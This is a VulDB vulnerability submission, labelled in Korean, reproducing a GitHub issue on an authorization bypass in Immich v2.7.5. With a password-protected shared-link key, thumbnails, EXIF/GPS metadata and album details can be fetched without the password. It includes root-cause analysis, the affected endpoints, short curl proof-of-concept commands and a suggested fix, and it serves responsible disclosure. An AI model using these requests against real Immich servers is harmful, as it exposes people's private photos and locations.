| 제목 | https://github.com/immich-app immich v2.7.5 Missing Authorization |
|---|
| 설명 | Password-protected shared links bypass: thumbnail view and full asset metadata accessible without password in Immich v2.7.5
I found a missing authorization check in Immich v2.7.5 (commit 1bb7517) that allows anyone holding a password-protected shared link URL to view thumbnails and read full asset metadata (including EXIF/GPS) without ever providing the link password.
**Root cause:** `checkSharedLinkAccess()` in `server/src/utils/access.ts` grants `AssetRead` and `AssetView` permissions (lines 67, 71) by checking only that the asset belongs to the share link by ID — `sharedLink.password` is present in the `AuthSharedLink` context object but is never consulted. The password check only appears in `SharedLinkService.getMine()` and `.login()`, leaving the underlying asset/album endpoints unguarded.
**Bypassed (HTTP 200):**
- `GET /api/assets/:id/thumbnail?key=<PASSWORD_PROTECTED_KEY>` — thumbnail image served
- `GET /api/assets/:id?key=<PASSWORD_PROTECTED_KEY>` — full JSON with EXIF, GPS, originalPath
- `GET /api/albums/:id?key=<PASSWORD_PROTECTED_KEY>` — album name, asset count, member list
**Correctly enforced (401):**
- `GET /api/shared-links/me?key=<PASSWORD_PROTECTED_KEY>` — blocked
Both INDIVIDUAL and ALBUM link types are affected. Live-validated on Docker image v2.7.5 (image tag `release`, commit 1bb7517).
This is distinct from GHSA-78x4-6x83-jx75 (password-in-URL-params, fixed in v2.6.0). That issue was about credential logging; this issue is about the password gate itself being absent from asset/album endpoints.
Proof of concept (key steps):
```bash
# Create password-protected link (download disabled)
LINK_KEY=$(curl -s -X POST /api/shared-links -H "..." \
-d '{"type":"INDIVIDUAL","assetIds":["ASSET_ID"],"password":"secret","allowDownload":false}' \
| jq -r .key)
# Bypass: thumbnail served without password
curl -s -o proof.webp -w "%{http_code}" /api/assets/ASSET_ID/thumbnail?key=$LINK_KEY # 200
# Bypass: full metadata returned without password
curl -s /api/assets/ASSET_ID?key=$LINK_KEY # 200 with EXIF/GPS/originalPath
```
Suggested fix: In `checkSharedLinkAccess()` in `utils/access.ts`, return `new Set()` when `sharedLink.password` is non-null and the caller has not completed shared-link login (similar to how `allowDownload` is checked for `AssetDownload`).
### Version of Immich Server
v2.7.5
|
|---|
| 원천 | ⚠️ https://github.com/immich-app/immich/issues/29599 |
|---|
| 사용자 | geochen (UID 78995) |
|---|
| 제출 | 2026. 09. 02. PM 04:07 (29 날 ago) |
|---|
| 모더레이션 | 2026. 09. 30. PM 09:07 (28 days later) |
|---|
| 상태 | 수락 |
|---|
| VulDB 항목 | 412344 [immich-app Immich 까지 2.7.5 Shared Link Preview access.ts checkSharedLinkAccess password 권한 상승] |
|---|
| 포인트들 | 20 |
|---|